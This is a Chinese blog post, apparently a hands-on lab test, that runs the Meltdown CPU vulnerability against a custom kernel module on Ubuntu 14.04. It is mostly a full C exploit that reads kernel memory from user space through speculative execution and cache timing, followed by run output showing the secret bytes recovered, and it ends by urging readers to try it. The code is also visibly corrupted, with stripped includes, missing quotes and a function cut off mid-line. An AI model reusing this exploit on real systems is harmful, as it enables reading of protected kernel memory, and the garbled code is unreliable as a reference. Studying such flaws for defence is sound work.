本文是我在ubuntu 14.04上面进行的meltdown漏洞的亲测。meltdown漏洞,使得我们可以在用户空间读到内核空间的数据,做越权访问。我感觉每天yy看技术文章,而不去亲自试验,总是无法切身体会,因此我们来把它实例化,直接写代码看效果!本文暂时不涉及技术细节,只贴相关的代码。详细的原理,希望后面有机会再叙述。
首先写一个内核模块,包含一个很简单的proc接口,里面有个内核全局变量variable=0x12345678,这个proc接口暴露这个全局变量。
我待会尝试用一个应用程序meltdown-baohua.c来把这个内核空间变量从用户空间偷出来。
#include
#include
#include
#include
#include
#include
#include
static unsigned int variable=0x12345678;
static struct proc_dir_entry *test_entry;
static int test_proc_show(struct seq_file *seq, void *v)
{
unsigned int *ptr_var = seq->private;
seq_printf(seq, %u, *ptr_var);
return 0;
}
static int test_proc_open(struct inode *inode, struct file *file)
{
return single_open(file, test_proc_show, pde_data(inode));
}
static const struct file_operations test_proc_fops =
{
.owner = this_module,
.open = test_proc_open,
.read = seq_read,
.llseek = seq_lseek,
.release = single_release,
};
static __init int test_proc_init(void)
{
printk(variable addr:%p, &variable);
test_entry = proc_create_data(stolen_data,0444, null, &test_proc_fops, &variable);
if (test_entry)
return 0;
return -enomem;
}
module_init(test_proc_init);
static __exit void test_proc_cleanup(void)
{
remove_proc_entry(stolen_data, null);
}
module_exit(test_proc_cleanup);
module_author(barry song );
module_description(proc exmaple);
module_license(gpl v2);
这个模块对应的makefile如下:
把它编译执行并加载:
#make
#sudo insmod proc.ko
然后dmesg看出来printk(variable addr:%p, &variable);这一行打印的variable地址是:
[25996.868363] variable addr:f9adf000
然后我们用下面的程序来偷取f9adf000数据:
#define _gnu_source
#include
#include
#include
#include
#include
#include
#include
#include
//#define debug 1
/* comment out if getting illegal insctructions error */
#ifndef have_rdtscp
# define have_rdtscp 1
#endif
#if !(defined(__x86_64__) || defined(__i386__))
# error only x86-64 and i386 are supported at the moment
#endif
#define target_offset12
#define target_size(1 << target_offset)
#define bits_read8
#define variants_read(1 << bits_read)
static char target_array[variants_read * target_size];
void clflush_target(void)
{
int i;
for (i = 0; i < variants_read; i++)
_mm_clflush(&target_array[i * target_size]);
}
extern char stopspeculate[];
static void __attribute__((noinline))
speculate(unsigned long addr)
{
#ifdef __x86_64__
asm volatile (
1:
.rept 300
add $0x141, %%rax
.endr
movzx (%[addr]), %%eax
shl $12, %%rax
jz 1b
movzx (%[target], %%rax, 1), %%rbx
stopspeculate:
nop
:
: [target] r (target_array),
[addr] r (addr)
: rax, rbx
);
#else /* ifdef __x86_64__ */
asm volatile (
1:
.rept 300
add $0x141, %%eax
.endr
movzx (%[addr]), %%eax
shl $12, %%eax
jz 1b
movzx (%[target], %%eax, 1), %%ebx
stopspeculate:
nop
:
: [target] r (target_array),
[addr] r (addr)
: rax, rbx
);
#endif
}
static inline int
get_access_time(volatile char *addr)
{
int time1, time2, junk;
volatile int j;
#if have_rdtscp
time1 = __rdtscp(&junk);
j = *addr;
time2 = __rdtscp(&junk);
#else
time1 = __rdtsc();
j = *addr;
_mm_mfence();
time2 = __rdtsc();
#endif
return time2 - time1;
}
static int cache_hit_threshold;
static int hist[variants_read];
void check(void)
{
int i, time, mix_i;
volatile char *addr;
for (i = 0; i < variants_read; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = &target_array[mix_i * target_size];
time = get_access_time(addr);
if (time uc_mcontext.gregs[reg_rip] = (unsigned long)stopspeculate;
#else
ucontext->uc_mcontext.gregs[reg_eip] = (unsigned long)stopspeculate;
#endif
return;
}
int set_signal(void)
{
struct sigaction act = {
.sa_sigaction = sigsegv,
.sa_flags = sa_siginfo,
};
return sigaction(sigsegv, &act, null);
}
#define cycles 1000
int readbyte(int fd, unsigned long addr)
{
int i, ret = 0, max = -1, maxi = -1;
static char buf[256];
memset(hist, 0, sizeof(hist));
for (i = 0; i < cycles; i++) {
ret = pread(fd, buf, sizeof(buf), 0);
if (ret < 0) {
perror(pread);
break;
}
clflush_target();
speculate(addr);
check();
}
#ifdef debug
for (i = 0; i 0)
printf(addr %lx hist[%x] = %d, addr, i, hist[i]);
#endif
for (i = 1; i max) {
max = hist[i];
maxi = i;
}
}
return maxi;
}
static char *progname;
int usage(void)
{
printf(%s: [hexaddr] [size], progname);
return 2;
}
static int mysqrt(long val)
{
int root = val / 2, prevroot = 0, i = 0;
while (prevroot != root && i++ < 100) {
prevroot = root;
root = (val / root + root) / 2;
}
return root;
}
#define estimate_cycles1000000
static void
set_cache_hit_threshold(void)
{
long cached, uncached, i;
if (0) {
cache_hit_threshold = 80;
return;
}
for (cached = 0, i = 0; i < estimate_cycles; i++)
cached += get_access_time(target_array);
for (cached = 0, i = 0; i < estimate_cycles; i++)
cached += get_access_time(target_array);
for (uncached = 0, i = 0; i < estimate_cycles; i++) {
_mm_clflush(target_array);
uncached += get_access_time(target_array);
}
cached /= estimate_cycles;
uncached /= estimate_cycles;
cache_hit_threshold = mysqrt(cached * uncached);
printf(cached = %ld, uncached = %ld, threshold %d,
cached, uncached, cache_hit_threshold);
}
static int min(int a, int b)
{
return a < b ? a : b;
}
int main(int argc, char *argv[])
{
int ret, fd, i, is_vulnerable;
unsigned long addr, size;
progname = argv[0];
if (argc < 3)
return usage();
if (sscanf(argv[1], %lx, &addr) != 1)
return usage();
if (sscanf(argv[2], %lx, &size) != 1)
return usage();
memset(target_array, 1, sizeof(target_array));
ret = set_signal();
set_cache_hit_threshold();
fd = open(/proc/stolen_data, o_rdonly);
if (fd < 0) {
perror(open);
return -1;
}
for (i = 0; i < size; i++) {
ret = readbyte(fd, addr);
if (ret == -1)
ret = 0xff;
printf(read %lx = %x %c (score=%d/%d),
addr, ret, isprint(ret) ? ret : ' ',
ret != 0xff ? hist[ret] : 0,
cycles);
addr++;
}
close(fd);
return 0;
}
上述程序改编自:https://github.com/paboldin/meltdown-exploit.git
编译上述程序,并执行偷取:
baohua@baohua-virtualbox:~/meltdown-exploit$ gcc -o2 -msse2 meltdown-baohua.c
baohua@baohua-virtualbox:~/meltdown-exploit$ sudo ./a.outf9adf000 4
[sudo] password for baohua:
cached = 31, uncached = 312, threshold 98
read f9adf000 = 78 x (score=120/1000)
read f9adf001 = 56 v (score=129/1000)
read f9adf002 = 34 4 (score=218/1000)
read f9adf003 = 12 (score=178/1000)
这样我们就偷取到了f9adf000开始的4个字节,12345678了!
详细的原理,暂时没有时间讲了,读者们可以先动手做起来!
官方发布i9-9900K与AMD2700X的性能差距
BLE与物联网利诱难忍,恩智浦终于“上钩”了
一文解析液晶显示器的背光模组
word排版怎么排_word排版技巧大全
特斯拉2019四季度交付数量达到11.2万辆,全年增长50%
在Ubuntu 14.04上面进行的meltdown漏洞的亲测
国产DSP完美替代TI 世强新增代理进芯电子
润和软件发布面向云边端全场景下分布式协同行业解决方案
浅谈变频器与外部联系的信号接口
浅析2018后,液晶面板主流趋势
线性电路叠加性和齐次性的研究
音圈马达助力的苹果秋季发布会
一文解读RF射频设备与晶振之间的关系
中国联通率先开通100G WDM实验网
前 10 月电动自行车产量同比增长 33.4%
OnePlus与哈苏共同探索智能手机相机技术的更多可能
气象卫星夜间微光云图和红外云图的多种融合方法的研究与比较
基于TTL电路的LED可调彩灯控制器
检测环境光及控制照明的微控制器单管脚
示波器测量之抖动的四个维度